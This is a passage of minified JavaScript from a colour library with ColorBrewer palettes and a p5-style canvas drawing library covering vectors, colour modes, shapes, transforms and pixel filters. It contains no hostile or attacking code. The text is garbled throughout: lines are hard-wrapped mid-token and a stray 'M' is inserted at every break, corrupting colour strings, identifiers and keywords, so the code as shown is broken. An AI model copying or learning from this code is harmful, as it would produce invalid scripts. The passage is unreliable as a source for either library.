/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
